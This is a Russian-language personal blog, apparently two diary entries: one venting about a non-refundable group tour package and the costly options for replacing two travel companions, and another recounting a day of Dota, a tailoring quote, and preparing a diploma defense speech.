На все мои вопросы "Почему нельзя перепродать путевку?" "Почему нельзя ее аннулировать?" "Почему нельзя заменить двоих людей?" "А если люди отказались от гр-ва или исчезли из страны, что мне в таком случае делать? "
Мне отвелили "Платить за этих людей в любом случае. Иначе мои деньги просто сгорают.

То есть я не могу перекинуть одну себя на другой какой-то тур, я обязана лететь с ними. Либо, они разрешают замену двух людей, при обязательно условии, Аня и Алина должны полететь тоже либо на Кипр либо в Сочи.
Им предложили дешевый вариант за 7 тыс на 5 дней в Сочи. Нужен сам факт вылета.
А изменить и все мои вопросы просто канули в бездну. Это был тур с Египта, поэтому ничего с ним сделать нельзя, такой закон.

В итоге, у меня есть три решения.
Либо я отказывают совсем от тура, забиваю на свои 31 тыс р и считаю это кармой, которая за что-то меня наказала.
Либо я меняю Аню и Алину, отправляю их виртуально в Сочи за 14 тыс, которые я плачу я, заменяю у себя на Лизу и Мишу, и наша путевка получается с Лизы - 50 тыс, с Миши - 50 тыс, а с меня 68 тыс, за путевку девочек.
И третий вариант, уговариваю Алину и Аню копить каждую по 50 кусков к июню месяцу и лететь тем же составом.

Почему я должна кого-то уговаривать? Почему я должна кого-то заставлять лететь со мной в отпуск? Почему я должна париться из-за этого всего, мне не понятно.
Что сложного в том, что бы пойти на уступку и заменить двух людей, готовых лететь со мной и готовых заплатить деньги.
Почему теперь я либо сама должна вкладывать лишние деньги, либо требовать их с девочек.

Я вообще запарилась все это решать. Обо всем этом думать. Лиза сказала, что они с Мишей готовы лететь со мной на Кипр, хотя за 150 тыс, могли бы и в Тай лучше слетать. Но да ладно.
Но так, получается мне нужно отдавать долг маме - 30 тыс, доплачивать за путевку 38 тыс и вообще быть в полной жопе.

Я короче пока не понимаю, что я решу. И что вообще делать. И почему все это висит на одной мне. И почему если хотели лететь мы втроем, отвечаю одна я.
Я на грани того, что бы просто забить на эти деньги и забыть.

9 февраля прошло достаточно невзрачно, я засиделась за Дотой и закончила играть только к 4м, потому и не написала пост. Не хотелось как-то, поэтому из-за такой идиотской причины я нарушила регулярность, которой так гордилась.
Но упускать даже самый серый день из виду не стоит и я вкратце расскажу о главных событиях. Ко мне приехал Серёжа, но я завела будильник и встала до его прихода, так что к выходу на улицу была уже готова. Мы почти сразу пошли в «Викторию», магазин тканей, чтобы узнать сошьют мне ту удлинённую майку или нет, в общем там вещи не шьют. Но дали нам визитки тех людей, кто этим занимается.
Мы пошли на «Новую почту», так как книгу «Живые: мы остаёмся свободными» уже доставили, а это его подарок ко дню с Святого Валентнина, но когда Серёжа спросил взяла ли я паспорт, тут я поняла, что совершенно его забыла и мы решили идти домой. Дома мы набрали один номер, там было написано, что она дизайнер-конструктор и я описала то что хочу, мы поговорили и когда я спросила сколько это будет стоить, она ответила, что от 600 до 800. В общем экономии почти никакой, а за такие деньги я не хочу себе вещь, которую буду таскать туда-сюда. Я расстроилась, не до слёз конечно, но было очень обидно. Мы посмотрели «Как я встретил вашу маму», Серёжа помог с речью для защиты диплома и Серёжа уехал.
Дома я играла в Доту и отлично отыграла за Лину, за что мне поставили лайк и у меня появилась радость от того что я давно не играла за неё, но смогла отыграть просто отлично.
Но помимо игр я также проработала речь дальше и сегодня Серёжа привёз мне её уже распечатанную.